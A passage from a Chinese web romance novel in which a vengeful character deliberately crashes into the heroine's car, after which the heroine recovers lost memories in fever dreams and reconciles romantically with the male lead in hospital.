她僵硬地转身,捡起地上的包包,走了没几步,暗处蹿出来一道黑影,宋楚楚被大力掼向墙,脊背撞得生疼,尖叫声在对方捂得密不透风的手掌中成了一段不成调的呜咽。
借着停车场过道还算通透的灯光,宋楚楚看清了男人的长相,戴着黑色鸭舌帽,帽檐压低,露出一双凶狠漆黑的眼。
是陆屿森。
陆屿森见宋楚楚惊恐睁大眼,误以为她要尖叫,毫不犹豫加大力气,另一只手扼住她的手腕,抵在她的脖颈处,勒得宋楚楚差点喘不过气。
“还以为你能做成什么大事,不过是放几句狠话,屁用没有。”陆屿森声音沉郁,满是讥诮:“不是所有人都像你一样缺爱,知道自己不是于荷雅亲生的就开始寻死觅活,如果我是你,就抓紧机会利用于荷雅那泛滥的母爱,趁早带着钱逃出去,而不是在这里像个疯子大吵大闹。”
陆屿森面部表情扭曲到了极致,眸光森然可怖,宋楚楚某个瞬间甚至以为陆屿森要掐死自己,就在宋楚楚即将因缺氧窒息时,陆屿森猛地松开手。
肺部忽然吸入大口空气,宋楚楚控制不住地咳嗽起来,面部涨红难
耐,喉咙像是破败的鼓风箱,恨不得把五脏六腑给咳出来。
她顺着墙壁,缓缓滑了下去。
陆屿森半蹲下身,扯着宋楚楚的衣领,说出了自己出现在这里的目的:“告诉我,陆决风在哪里,我知道你去见过他。”
宋楚楚想起那时陆决风高高在上的一瞥,冷若冰霜,漠然又绝决,对她的耐心,对她的迁就,原来都是装的吗?
陆屿森不耐烦地‘啧’了一声,手搭上宋楚楚的脖颈。
宋楚楚张了张唇,麻木地说:“申汇区,世纪东路,祥丰小区27号楼,404。”
得到满意的答应,陆屿森松开手,站起身,整理好头顶的棒球帽,犹如幽灵消失在宋楚楚面前。
丢下一句低声的咒骂:“蠢货。”
宋楚楚再次哧哧笑起来,她摸了摸自己发烫的脸,又摸了摸疼到咽口水都费力的脖子,跌跌撞撞站起身,找到自己的车。
油门轰鸣,出了停车场。
黄豆大小的雨滴噼里啪啦砸向车窗,转瞬便汇聚成一股,顺着玻璃窗潺潺流动,模糊了窗外快速向后退的街景。
虞晚乏力地靠在车窗上,盯着车窗上的雨水。
一块挡板,将车内切割成两个空间,傅知尧没有在这个时候打扰虞晚,只时不时将视线投向虞晚,等待她主动开口。
“傅知尧。”
大概是虞晚第一次当面喊出他的名字,以至于傅知尧愣了几秒才应答,“你说。”
虞晚收回视线,声音有些空茫:“宋楚楚说于荷雅是我亲生母亲时你一点也不惊讶,你是不是早就知道了,上次你问我,如果有事情瞒着我,可以不可以给你一次原谅的机会,是指这个吗?”
傅知尧胸腔像是被人用塑料袋闷住,不透气到了极点,这种闷比冬日雨季带来的闷更甚。
“是。”
“哦,我知道了。”
“对不起。”
傅知尧的嗓音湿哑,他想说些什么缓解现在僵硬的氛围,却又觉得说什么都很无力。
他要怎么告诉虞晚,不要介意于荷雅当年的抛弃,即便她用心养育了宋楚楚,但她的未来会更好,她应该向前看。
这样假大空的话傅知尧根本说不出口。
既然说不出口,安慰就成了个无解题。
傅知尧在脑海内思索,除了道歉,他还能做点什么。
虞晚反问他:“为什么要道歉,因为你发现自己没有超能力,没办法穿越到我小时候,斥责于荷雅不该抛弃我?”
虞晚对宋楚楚说的那些话都是真心的。
但凡把宋楚楚拥有的东西让给虞晚,虞晚也可以大言不惭地说出是别人抢走了她的一切,把责任全部推卸到其他人身上。
因为宋楚楚想要什么,触手可得。
在从没认真体会过爱的虞晚看来,所有的关系都需要经营,包括亲情,于荷雅没有养育过她,不曾和她有过相处,为了女儿对她恶语相向是一件很正常的事情。
得知于荷雅是她亲生母亲时,虞晚没办法违心地说自己完全不在乎,那太虚伪了。
人在困境中会下意识给自己寻找精神寄托,捏造或者想象出完全不存在的精神载体。
虞晚给自己虚构了一对恩爱的父母,由于粗心将她弄丢,为了找回她,在街道上到处贴寻人启事,又或者等她长大,在街上偶然遇见她,认出她就是他们的孩子,冲上来抱住她,流着泪说“孩子我们找了你许久”。
这种编出来的戏份一度被小时候的陆随评价为电视剧看多了。
陆随离开孤儿院后,虞晚就很少再想这些,主要是想了也没人能分享。
这么一看,毛新灵说她是乐天派果然没说错,虞晚不太爱往消极的方向去想,除了为难自己,没别的作用。
既然不想为难自己,又何必为难别人。
她看了眼傅知尧,他似乎有些错愕,往日倨傲冷淡的眉目似乎耷拉下来,削弱了攻击性,像是一只被主人抚摸过脑袋,仍旧不满足蹭着主人裤腿的大型犬,意外的反差。
傅知尧薄唇翕动,还未来得及开口,车身猛地向左车道偏移,傅知尧因惯性向虞晚的方向栽倒,撑着中央扶手才勉强稳住身形。
挡板在此时缓缓下降,小程惊惶的声音从驾驶座传来:“老板,有人恶意别车!”
傅知尧果断朝后看去。
一辆黑色的小型轿车行驶在雨中,同时打转方向盘变道,牢牢追在他们车尾,速度逐渐提高,距离越拉越近,像一条甩不掉的毒蛇。
傅知尧声音确信:“是宋楚楚。”
前面那辆车或许察觉到不对劲,司机也开始打双闪,但可惜,下着雨,所有车的车速不约而同放慢,尽管前面的司机尽可能提速,仍旧拉不开多少距离。
虞晚拿出手机准备报警,她的手在抖:“我先联系交警,看看能不能疏通道路……”
“来不及了。”傅知尧说。
宋楚楚赤红双眼,握着方向盘的手心不断渗出冷汗,脚踩在油门上,丝毫没有松开的迹象。
她知道前方的车辆是傅知尧的,也知道此时此时虞晚和傅知尧坐在里面。
但她有什么好怕的呢,她就是要让两人死啊!
她生活早就坠入地狱,再也无法翻身,如果说有谁应该陪着她下地狱,那一定是虞晚。
无视陆决风的痛苦,在明知陆决风有心理疾病的情况下却不辞职陪在他身边,利用傅知尧的喜欢成为新贸大厦项目负责人,享受众人的吹捧和关注,还要在她失去一切时,挑衅地说着刻薄狠毒的话。
隔着雨幕,宋楚楚紧紧盯着前方的车辆,眼底的愤怒和不甘凝成翻涌的黑雾,彻底吞没她最后一丝理智,心脏泵血速度加快,热度直冲大脑,让她由衷地感到一种掌控的愉悦。
宋楚楚毫不犹豫踩死油门,轰鸣声阵阵,轮胎摩擦声尖锐刺耳,宋楚楚眼神平静而癫狂。
全部!全部陪她下地狱吧!
砰——!
剧烈的撞击声传来,世界像是被人按下暂停键,雨滴悬在空中将落未落,引擎盖被撞开,遮挡住宋楚楚的视野,前方银灰色的迈巴赫已然被剧烈的冲击力掀翻,倾向一侧。
除了被安全带束缚的身躯,虞晚整个人彷佛不受控制,手机脱手掉落,视线霎时颠倒,耳鸣伴随金属扭曲的吱呀声,像是心脏骤停时机器发出的警告,如针钉进大脑,让她神经跟着迟钝。
或许两秒,或许半秒都不到,虞晚脑袋重重撞上车顶,白光乍现,世界彻底陷入黑暗。
睁开眼,她躺在宿舍床上。
虞晚的床铺是没有床帘的,灰白格条纹床单和蓝白格条纹床单换洗着盖,因此,她能轻而易举判断自己现在所处的环境。
对面床铺上,是沉迷追剧的毛新灵,隔着深蓝色的床帘,平板亮度并不明显,只有借着阳台外透进来的光线才能勉强视物。
虞晚张了张唇,一时竟无法发出声音。
车祸的记忆烙印在脑海,令虞晚头疼欲裂,她用力掐住掌心,疼痛感让她确认,她所看到的一切不是错觉。
她艰难扶着栏杆坐起身,环视一圈,从枕头下拿出手机,按开屏幕。
生硬冷白的光线刺得虞晚干涩的眼渗出泪水,也让她看清了时间,凌晨十二点三十六。
日期……正是她以为自己穿书进小说的前一晚。
虞晚下意识抬手摸向额头,有些发烫,这就对应上了毛新灵说的半夜发烧。
一种类似后怕的骇然让虞晚忍不住地颤抖,不知是不是车祸的后遗症,虞晚太阳穴好似有针在扎,灼热感和寒意交织,思绪变得模糊。
原来是这样,因为车祸,她缺失的记忆才能以这种方式填补。
但虞晚已经没有时间可以耽误,脑海中的记忆在逐渐消散,成为那个最初以为自己穿成小炮灰的虞晚。
第90章
虞晚绷紧牙关,努力维持思维的清醒,她解锁手机,停留在备忘录。
她要给自己留什么剧情提示呢?
任何提
示似乎都没有必要。
她已经足够幸运了,从一开始进入傅氏,得到傅知尧提拔、信任,结识赖言栩她们,拥有好朋友,去孤儿院探望林妈妈和小朋友时和陆随哥重逢。
虞晚没有任何遗憾。
许久没用旧手机,打字时有卡顿,虞晚顶着烧红干涩的眼和混沌的大脑,最终选择以匿名的方式给陆随发去一封邮件。
【陆随哥,离开陆家,离宋楚楚远些,按时吃药,不要放弃治疗。】
没有逻辑,没有语序,虞晚甚至不清楚自己有没有打错别字。
手机从手中滑落,视线旋转、颠倒,某个瞬间和车祸场景重合,虞晚毫无预兆摔回床铺。
她还有信息没发完。
她想提醒傅知尧,以后不要送她回家,但会不会被不知晓内情的傅知尧认为是疯子?她想提醒毛新灵不要选择苏远在的那个公司,但毛新灵这个时候和她关系并不熟络,毛新灵会听吗?
可惜,虞晚已经没有机会了。
她缓缓闭上眼,陷入昏睡。
看剧的毛新灵听到动静,暂停电视剧播放,谨慎拉开床帘往外看了眼,对面床铺上虞晚躺得好好的,什么异常也没有。
虞晚这一觉睡得并不安稳,大脑像是轰隆运作不停的机器,梦里全都是小说剧情:宋楚楚口中那个截然不同的小说世界;因为她的‘觉醒’导致剧情偏差的现实世界。
虞晚一时分不清自己到底是在梦中还是现实中。
她背着普通的黑色挎包,每日素面朝天坐地铁上班,公司是普通的小公司,工资交完房租、水电后勉强够虞晚生活。
公司领导是个中年秃顶还爱说教的男人,最常说的话就是:“是公司给了你们工作的机会,公司是你们的衣食父母,为公司付出生命都是你们的荣幸。”
虞晚面无表情听着,手上动作没停,修改第三次被打回的文件。
之后的日子,虞晚兢兢业业重复枯燥的工作,直到某天,从孤儿院院长林妈妈那边得知自己的亲生母亲的住处。
虞晚难得穿了条裙子,打扮好自己,小心翼翼拎着礼品上门拜访。
她是第一次见那么大的别墅,光是走到正门都用了将近十分钟,高鼻梁管家抬着下巴让她站在门口等待。
片刻,虞晚被领进富丽堂皇的客厅。
穿着优雅贵气的中年女人端坐在沙发上,不紧不慢扫了她一眼,张嘴便是讥讽:“我不过是让人去孤儿院问问你的下落,你就这么迫不及待找上了门,怎么,是想要钱不成?”
虞晚面上血色全无,垂在身侧的手指甲在掌心印出一个个月牙形状的深痕。
旋转楼梯传来脚步声,虞晚仰头望去,妆容精致漂亮的宋楚楚出现在她眼前,注意到她投来的目光,刻意放缓速度,居高临下地打量她。
彷佛她是货架上滞销的促销商品。
难堪和狼狈从未如此立体地在此刻的虞晚身上展现。
于荷雅从沙发上站起身,急切地向宋楚楚解释:“……她是妈妈一个远方亲戚,知道我在海市就过来看看我,需要妈妈介绍你们认识吗?”
宋楚楚神情傲慢,声音满不在乎:“既然是你的客人为什么要介绍给我认识,我待会儿出门,晚上不回来。”
于荷雅追着宋楚楚叮嘱几句,转过头,对着她又摆出另一副面孔,厉声斥责:“你别来找我了,我没养过你,和你没有任何关系,不是你的妈,我找人打听你的下落只是为了确认你有没有死,但你没有,要是你和那个爸一样死了就好了,你知道你爸是怎么死的吗?”
虞晚捂住耳朵不肯听,被于荷雅用力扯开,抓着她的肩膀,强迫她看着她:“和小三私奔,出车祸死的,油箱漏了,火烧得特别旺,连给他收尸的人都没有!我人生中最后悔的事情就是生下你,如果不是你月份大了打不掉,你怎么会活在这个世上!”
那张温柔娴静的面孔此刻竟也扭曲起来,张牙舞爪好似恶魔,要将虞晚吞噬。
虞晚情绪几近崩溃,心脏抽搐,泛着密密麻麻的痛楚,窒息感犹如上涨的海水,一点点将她淹没。
为什么?
为什么用心养育宋楚楚的于荷雅会是她的亲生母亲?
她自小就接受了孤儿的身份,也熬过了最渴求父母爱护的年纪,她已经不再天真地对着月亮祈求能快快被家人找回,为什么要让她在这个时候经受被亲生母亲叱骂的痛苦。
悲愤、哀痛、狂躁的情绪裹挟虞晚,催促虞晚拿起手边结实的摆件砸向面前表情狰狞掐着她的于荷雅。
虞晚的手在触碰到冰冷的摆件时,反应过来不对劲——
她根本不会去找于荷雅!
即便知道于荷雅是她的亲生母亲。
一个从未和亲生母亲见过面的人,怎么会因为一个陌生人不爱自己而崩溃。
所以,这是梦!
虞晚终于挣脱梦境。
再次睁开眼,入目一片雪白,她花费了一分钟时间缓解梦魇的绝望和心悸,确认自己躺在医院病床上。
四周安静异常,只有输液时滴答的轻响和医疗机器运作的细微嗡鸣。
一个病房住她一个人,她这算不算借傅知尧的光享受上了vip医疗服务,虞晚想到这里,心猛地提起来。
她还记得傅知尧说完来不及后的动作,他迅速往自己脑袋旁塞了一个抱枕,因此,虞晚脑袋是隔着抱枕撞上车顶。
她没死,那傅知尧呢?
虞晚掀开被子,想要下床,大脑在此刻发出大幅度动作警告,虞晚视线开始晕眩、模糊,要不是胃里没东西,她大概会吐出来。
病房门被推开,护士看清虞晚做了什么,哎呀一声,将她重新按回病床,盖好被子,调整吊瓶的位置:“虞小姐,你脑震荡,不能这样乱动的,你看看,手背上针管都回血啦。”
病房内又进来一位医生。
“虞小姐,我知道你想了解情况,你是第二个醒来的,我先给你做个简单的检查。”
他拿出随身携带的工作,检查过程中耐心解释:“车祸是昨天下午发生的,现在是第二天上午十点,你昏睡了将近十五个小时,身体除了撞伤产生的淤青并无大碍,主要是脑震荡,好在没有产生淤血和肿块,休息半个月左右就能恢复,你现在觉得头晕,恶心是正常现象,在彻底恢复前不要做剧烈运动,否则容易留下后遗症。”
看虞晚迟迟没说话,护士弯腰凑近了些,小声询问:“……虞小姐,你是不是失忆了,不知道自己现在在哪里?”
虞晚艰难吐字:“傅、傅……知尧呢?”
看样子是没失忆。
虞晚说话声音轻,只有护士听清楚了,“哦,你说傅先生?傅先生还没醒,他在隔壁病房,情况比你……”
“咳咳。”
医生打断护士的话,“虞小姐,你先休息,等你休息好再说也不迟,傅先生那边有周医生照顾,我可以肯定地告诉你,傅先生生命并无大碍。”
看着不点头也不拒绝,颇有些倔强的虞晚,医生拗不过她,简单提了两句车祸事故。
“你和傅先生坐的车子因撞击侧翻,但车辆金属骨架结实,加上司机程先生有避险意识,所以这场车祸只有伤者,没有亡者,很幸运。”
非要说的话,大概就是那位故意撞车的女士比较惨,一只腿卡在变形的车座中动弹不得,因为下雨,失温严重,送到医院后,腿部肌肉组织因为缺氧部分坏死,以后能不能正常走路都另说。
医生和护士离开,病房重新安静下来。
虞晚没有闭眼休息,躺在床上,思考起醒来前做的两个梦。
一个梦,真实到不像是梦,虞晚之所以用梦来标注,是因为她不知道给陆随哥发的那封邮件有没有发出去。
第二个梦,更像是宋楚楚描述中的那个小说世界,梦中,宋楚楚和于荷雅的相处方式并不似宋楚楚口中说的亲密无间,虞晚猜测,这个时候的宋楚楚或许已经知道于荷雅不是她的亲生母亲。
两个毫无联系的梦,却将她那晚的高烧,以及误会自己穿进小说的事情串联在一起。
她的遗忘,由于痛苦从而被动。
很难说清到底是不知道一切好,还是知晓一切好。
点滴快结束时,虞晚扯掉插在血管里的留置针,坐在床边缓了会儿大脑内产生的不适和晕眩。
那位医生说过她是第二位醒来的人,如果傅知尧比她先醒来,那么此刻坐在她床边大概率是傅知尧,除非傅知尧没有醒。
病房外的走廊静悄悄,虞晚在两侧病房纠结片刻,选择了西侧的那间病房。
叩响门,虞晚听到一道男声。
“进来!”
虞晚走进去,将正躺在病床上咬苹果的程亮上下观察一遍,二十五六岁的小伙子,身体恢复能力不错,除了掉在半空中的小腿有些晃眼,还能生龙活虎地吃东西。
显然,他就是第一个醒来的人。
程亮没料到来看他的是虞晚,急忙将嘴里的苹果吞下去,说话含糊不清:“虞秘书你醒了,你找医生了吗?需要我帮你叫一声吗?你先坐,噢不对,我是不是
要叫虞总了。”
程亮话语又急又密,虞晚混沌的大脑一时无法处理太多信息,只能捡自己听清楚的说。
“没事,我听医生说你醒了,过来看看你,你的腿受伤了,严重吗?”
虞晚嗓子有些哑,来看程亮前她喝了点水,喉咙虽然干涩,却不至于说不出话。
“害,”程亮拍拍腿,“看着吓人,就是普通扭伤,没什么大碍,休息一个月就能正常走路了,比起这个,我更担心我破相。”
程亮说着指了指自己的脸,颧骨上有擦伤,额头缝了针,裹着防止伤口感染的纱布,有几分唬人。
看程亮这插科打诨的样子,虞晚提着的心稍稍放下,安慰他:“等纱布拆了,清淡饮食,坚持涂抹祛疤膏,疤痕会很快消失的。”
虞晚没坐,和程亮两人,一人站着,一人半躺着聊天,期间,虞晚还给程亮剥了一个完整漂亮的橘子。
程亮吃着吃着,忽然有种奶奶坐在他面前的错觉,他将最后一瓣的橘子塞进嘴里:“……虞秘书,你是不是想问我老板的情况,我猜,你还没去看过老板。”
即便心里再怎么担心,还是会畏怯,因为怕看到的结果不是自己想要的,而她无法接受自己不想要的结果。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
90-93
第91章
吱呀。
轻轻一声,病房门被推开,一位圆脸护士带着虞晚走进来,眼睛控制不住地往虞晚身上瞟。
她一本正经强调:“虞小姐,照理说这个时间段是不允许探望的,但周医生都吩咐了,那你就随便看吧,不过最好不要打扰患者休息,傅先生和你一样有轻微脑震荡,左手臂因骨裂引发骨折,做了个手术,麻药效果已经过了,估计今天就能醒。”
圆脸护士搬来一张椅子,让虞晚坐在床边。
虞晚声音很轻:“我知道了,谢谢你。”
虞晚这么好说话,圆脸护士倒是不好意思了,“没什么,那我先走了,有事情就按护士铃。”
圆脸护士说完,轻手轻脚走出病房。
房间内只剩下虞晚和傅知尧。
她静静坐在床边,目光缓慢滞涩地从傅知尧脸上扫过,即便沉睡中,那双凌厉漆黑的眉毛也蹙着,睫毛时不时颤动一下,好似被噩梦缠绕,透着强烈的不安和恐慌。
虞晚想起程亮说的话。
“那女疯子就是不要命,我们车子侧翻,停在绿化带上,她的车从绿化带上压过,撞上树才停下来……”
侧翻的车子重心几乎压在虞晚那边,车头翘起,整个车内,只有程亮和傅知尧两人清醒,程亮早在撞车前就解开车门安全锁,降下四面车窗,冷风和雨水从打开的车窗内肆意灌入。
确认程亮能行动,傅知尧开始给虞晚解安全带,车门扭曲凹陷,单凭个人力气无法打开车门,仅能从狭窄的车窗逃生。
程亮好不容易爬出车,因为恐慌摔了一跤,这才扭伤了脚,他拖着受伤的脚,迅速安排身后赶来的两名保镖。
一名拨打救援电话,疏散现场,另一名同他一起试图解救被困车内的两人。
转过头,看清车内场景,程亮怔在原地。
傅知尧手臂早已骨裂,但他毫无知觉,黑发被雨水冲刷得凌乱,湿漉漉贴在太阳穴两侧,鲜血顺着眉骨方向往下流,染红了苍白的唇,分明是狼狈的模样,却因为冷静的表情显得愈发疯魔,傅知尧手臂紧紧环抱着昏迷的虞晚,示意先救她。
程亮不知道该怎么形容当时的傅知尧,他像是沉浸在只有自己和虞晚的世界,救护车上全程盯着昏迷的虞晚,彷佛一旦医生说虞晚救不回来,他就会立即掐死那位撞车的女人。
虞晚视线落在傅知尧包裹严实的左手上。
为了救她,这只手过度负重,从骨裂变成骨折,原本骨节分明的手指此刻肿胀像萝卜,另一只完好的手此刻也遍布擦伤。
虞晚觉得还是好看的,但傅知尧如此重视个人形象的一个人会不会觉得很难看。
虞晚鼻尖酸胀,眼眶已然湿润。
尽管程亮没有描述太清楚,但虞晚知道在车祸现场想要救一个人有多难,更别提她整个人昏迷,毫无意识。
傅知尧是怎么按捺住对车祸的恐惧救她的呢?
宋楚楚说她偷走了她的人生,是不是她不当这个改变一切的人,傅知尧就不会像现在这样呢?
她明知道自己是小配角,就该安分守己当好小配角,而不是参与进主角的因果,
越是思考,虞晚就越是痛苦,她垂着脑袋,眼泪无声砸在被单上,洇出深色的圆点。
“……哭什么”
虞晚猛地抬头,晕眩感让她视线像是蒙上薄雾,傅知尧的脸被模糊成一片,虞晚一时看不清他的表情。
最终,一只冰冷的手抓住她的手,“我没事。”
视线缓缓明晰,虞晚看到傅知尧扯着嘴角朝她笑,心里气不过,拍了他手一下,凶巴巴地说:“差点没命了还笑!”
“嘶,疼。”
傅知尧装模作样地皱起眉毛,虞晚吓到了,捧着起他的手仔细打量。
傅知尧笑出声,这回是真的扯到伤口,说话的鼻息重了些,带着哑意:“骗你的,有麻药,不疼。”
虞晚眼眶又是一酸。
麻药效果早就过了。
她偏头不去看傅知尧,手指头被傅知尧勾了勾,像是春天飘扬的柳絮,扫过她的指尖。
傅知尧说:“你呢?是不是伤口太疼了才掉眼泪。”
虞晚想摇头,但脑袋昏沉,她只能开口:“不是。”
“那就是你在懊恼,你觉得如果不是你和宋楚楚见面,就不会出车祸。”傅知尧说。
这句话戳中虞晚所想。
虞晚视线转回来,她开始怀疑傅知尧是她肚子里的蛔虫。
沉默半晌,她说了一个风马牛不相及的话题:“你相信宋楚楚说的小说世界吗?”
“你相信我有听清他人心声的能力吗?”
傅知尧抛出另一个不相干的话题。
虞晚不解地看向他。
傅知尧靠坐在病床上,身后垫了一个靠枕,视线比虞晚高半个脑袋,微垂眼看她,漆黑的眼眸里是不作假的坦然。
傅知尧:“所以,即便真的是小说世界,剧情从一开始就不同了。”
因为心声的能力,傅知尧感受到的欺骗和痛苦总是大过快乐,他不明白为什么那些面上带笑的大人心口不一地诅咒父母生意受挫,他不了解为什么已经很富足的人贪欲往往与日俱增。
世界的真实在他感受到真挚前先一步朝他倾覆。
在遇到虞晚前,他从未考虑过婚姻或者爱情。
他见过太多因为动物繁衍本能或者脆弱单薄的喜欢走到一起的伴侣,到后来因为感情消散,针锋相对,不惜用最残忍的方式去刺伤对方的心。
恶毒的谩骂,卑劣的诋毁,全都是感情消散后的产物。
与其说傅知尧不期待爱情,倒不如说他抵抗爱情。
摸不着,看不见的东西要如何量化、评级,既然不能量化,你爱我我爱你的爱情又有什么意义。
像他父母这样美好的爱情,是件太需要被缘分眷顾的事情。
天时地利人和,缺少哪一样都不行。
所以当勤叔问他喜欢不喜欢虞晚,他脑子里涌现出的第一个想法是,他大概不会走入婚姻。
但喜欢这种事情的确不由人控制。
他分明看不穿虞晚的内心,却总能从虞晚的表情和动作中捕捉她内
心所想,隐隐触摸到她的真心,这种感觉尤为奇妙。
他怎么就能在读不懂一个人内心的情况下喜欢上对方呢。
傅知尧能确信自己的喜欢不是港城车祸时吊桥效应下的喜欢,他喜欢虞晚,见到她就开心,靠近她就紧张,会不自觉关注她的状态,看到她露出笑容,也会不自觉勾起嘴角,看到她情绪低落,心底跟压着块石头一样沉。
情绪被对方的一颦一笑牵动,这种不受控制的感觉却半点不叫他讨厌。
让他觉得痛苦也是一种甜蜜。
“你如果相信宋楚楚说的话,那就更应该相信我说的话。”
“什么话?”
“我喜欢你。”
傅知尧直直看着她。
虞晚哑然。
她想,她始终没有对傅知尧说出那句我喜欢你未必不是受到小说剧情的影响。
傅知尧是男主,她不过是个促成宋楚楚和于荷雅决裂母女身份的小炮灰,两者根本没有可比性。
因为她,导致这场车祸的发生,而这一切本可以避免。
面对傅知尧再次告白,虞晚沉默了,她避开傅知尧灼热的视线,盯着自己的手,指尖距离傅知尧的指尖只有不到一厘米的距离,只要她覆盖上去,傅知尧就一定能知晓她的意思。
她没有动。
傅知尧心脏无端抽痛起来,某个瞬间,他觉得自己无法呼吸。
半晌,虞晚木讷地转移了话题,她站起身,“医生怎么还不过来,我去叫周医生。”
刚迈开一步,衣角便被拉住,后背贴上温热的物体,将她身体连同心脏轻轻一撞。
傅知尧额头抵在虞晚脊背左侧,这个位置,是最贴近心脏的位置。
他的力气并不大,虞晚可以轻易挣脱,但她没有这么做,她听见傅知尧颤抖而沙哑的嗓音。
“虞晚,我很害怕。”
虞晚将车祸原由归结在她身上,傅知尧又何尝不是,宋楚楚末流报复手段的起因难道不是他针对屿风和海度全方位的围剿?
在车子倾翻的某一瞬,他似乎幻视了父母去世前的场景,他像是一只渺小毫无还手之力的蚂蚁,只能被动等待命运的审判。
以至于劫后重生时,连恐惧和庆幸都抛之脑后,他想要虞晚活着,如果虞晚因为他收到伤害,再也无法醒来,他的复仇和谋划又有什么意义。
不过是重蹈覆辙。
六年前他救不了父母,六年后他保护不了虞晚。
抵在后背的额头和眼泪一样滚烫,几乎要将虞晚的衣服烙出两个洞来,虞晚眼睫颤了颤,喉咙干涩发紧。
“傅知尧,我……”
“不需要自责,不需要愧疚。”傅知尧彷佛知道虞晚要说什么似的,在虞晚开口说话前打断了她:“也别说对不起,该说对不起的是我,我的喜欢是不是给你带来了压力和负担,我说你不必着急给出回答,但我越是这样说,你就越是觉得紧迫和为难,对不对?”
虞晚什么都没有做错,是他太贪心,不懂克制,得寸进尺想让虞晚和他更亲密一些。
哪怕被虞晚嫌弃掉眼泪的行为太软弱,就这么一次,让他贪得无厌一些。
他绷紧下颚,忍住喉间的哽咽,眼眶泛红:“一分钟……,虞晚,借一分钟的时间给我,让我靠你一会儿,可以吗?”
傅知尧听到虞晚轻叹口气的声音。
“可以。”
捏着虞晚衣角的右手指甲用力到发白,片刻,松开,带着伤痕的手如同触角,试探着将虞晚的腰圈进自己臂弯,严丝合缝贴在一起。
傅知尧说:“……你的衣服好像被打湿了,你会怪我吗?”
虞晚说:“不会。”
傅知尧又说:“你办公桌上有一个彩色波点的笔筒,你说是你捏失败的杯子,你可以送给我吗?”
虞晚说:“如果你不觉得难看的话,可以。”
傅知尧额头仍抵在虞晚脊背处,他眷恋般轻轻蹭了蹭,如倦鸟归林,浮云依山。
他轻轻开口,眼泪无声从眼眶滑落。
“虞晚,我讨厌你。”
第92章
冬日阳光斜斜洒入病房,被百叶窗切割成光条,像是晒得澄澈透亮的水晶,温柔地覆在两人身上。
傅知尧揽着虞晚的手臂愈发用力,如果不是另一只手受伤无法动弹,他恨不得把自己整个人缩成一团,塞进虞晚怀里。
说好的一分钟,完全不止一分钟。
隔着薄薄一层布料,傅知尧起伏波动的情绪毫无保留地向虞晚传递,她没有动,也没有再说话,任由傅知尧无限期延长那短暂的一分钟。
感知到傅知尧的情绪随呼吸平缓,虞晚终于开口。
“我刚刚是想说,我会对你负责的。”
“我说了,我不需……”傅知尧湿漉漉的声音卡在喉咙里,他忽然反应过来,愕然:“你、你要对我负责?”
“嗯,说负责这个词很奇怪吗?”
虞晚往傅知尧拘着她腰的手上扫了眼,骨节虽然有擦伤,但指甲修剪得干净整洁,手指修长却并不显羸弱,微微用力时手背会鼓起青色血管,透着撩人的性感。
此刻,手背上青色血管突兀绷紧。
虞晚问傅知尧:“我现在能转身吗?”
“最好不要。”傅知尧将脸贴上虞晚的背,声音有些低,“这算是告白吗?”
不等虞晚回答,傅知尧噼里啪啦地说了一大堆。
“如果是,那你也太草率了,告白不说喜欢说负责,你负责的期限是多久,如果是一辈子,是向我求婚的意思吗?如果不是,那你岂不是在耍流氓,这也太过分了。”
虞晚:“……”
虞晚沉默。
傅知尧用手指戳虞晚的腰,大老板脾气回来了,不满道:“你怎么不说话?”
虞晚怀疑:“你真的脑震荡了吗?”
傅知尧:“……”
“你真的很过分。”
虞晚:“……”
讲道理,真论起来,难道不是傅知尧一直抱着她不撒手更任性吗,她的腰也很酸的。
虞晚早已不是当初那个虞晚,她把问题抛回给傅知尧:“如果我现在告白,你会认为我是真心的吗?”
不知道是当老板的人爱多想,还是傅知尧这个人单纯爱脑补,虽然总给人一副两耳不闻窗外事的高傲模样,但先前跟在他身边见客户时,总能听傅知尧提两句对面合作商的八卦轶事,让她对合作商有个粗略浅显的认知。
结合傅知尧某次打错字叫她鱼丸来看,他很有可能长期潜伏在公司八卦小群,或者听到赖言栩他们这么叫,总之,傅知尧想调侃她的时候,就会故意打错字叫她鱼丸。
虞晚觉得,这必定是傅知尧一种小学鸡的恶趣味。
傅知尧问她相不相信他有读心术,虞晚是不大相信的,她在心底偷偷摸摸吐槽过傅知尧那么多次,傅知尧要是真的能听见,按照傅知尧的性子,早该把她踹出总裁办。
正因如此,让虞晚觉得很多事情是必须向傅知尧解释清楚的,作为下属,怎么能让给她发工资的老板产生猜忌或怀疑的情绪呢。
唯独喜欢与否这件事虞晚说不清楚。
人都是在反复质疑中才相信被爱这件事。
但她小瞧了傅知尧的厚脸皮,傅知尧松开手臂,轻拉了她一下,虞晚顺着傅知尧的力道转身,垂眸对上傅知尧漆黑深邃的眼,眼睑和鼻尖有些红,像是雪地里的红梅,冷意中透着热烈。
“如果你看着我的眼睛对我告白,即便是假话,也是真话。”
窗外阳光倾斜,一瞬照到傅知尧脸上,他不适应地眨了眨眼,一只手温柔地覆上他的眼,替他挡去全部的阳光,下一瞬,白玉兰的香气铺天盖地将他笼罩,最终化为一个微凉的吻。
不含任何欲望的贴贴动作,简单而纯粹,让傅知尧胸腔里的心脏躁动鼓涨,不安分地叫嚣着想要更多。
分明快踏入三十岁行列的人,此刻居然因为一个吻,成了青涩难捱的毛头小子。
虞晚的贴贴
只有短暂的几秒,她不知道自己的做法对不对,她看毛新灵说的偶像剧,主角们总是习惯以吻封缄,让动作代替言语。
如果想让傅知尧停止说话,是不是也要这样?
但虞晚是第一次做,捂住傅知尧的眼才敢颤抖着唇吻他,在虞晚挪开遮住傅知尧双眼的手后,虞晚对上傅知尧深邃水润的眼眸,那双漆黑的眼眸定定看着她,喉咙克制地轻滚。
与傅知尧的表情相反的是他的语气,颇为严肃地询问她:“虞秘书,有没有人告诉过你,在没有得到许可的情况下亲别人是很不礼貌的。”
虞晚有些没反应过来,“对不……”
“你得先问我,说‘我能不能亲你’。”傅知尧在虞晚道歉前打断了她的话。
傅知尧眼角眉梢往上扬,横竖写满得意两字,虞晚眨巴了一下眼睛,顺着他的话说:“所以,我能不能亲你?”
傅知尧很是淡定地抬起下巴,闭上了眼睛,看似随意道:“可以。”
虞晚:“……”
阳光中,细小的微尘在空气中无所依靠地上下浮动,昨日下过的一场雨在今日彷佛清零,病房里开着暖气,窗外是常青树木,如果不是有穿着羽绒服的行人路过,会让人将春天和冬天混淆。
宋楚楚神色呆滞地望向窗外那株被雷电劈过,靠一层树皮勉强坠着的树枝,风一吹,叶子就往窗户上打一下。
唰的一声,于荷雅将窗户半拉,遮住过于刺眼的阳光。
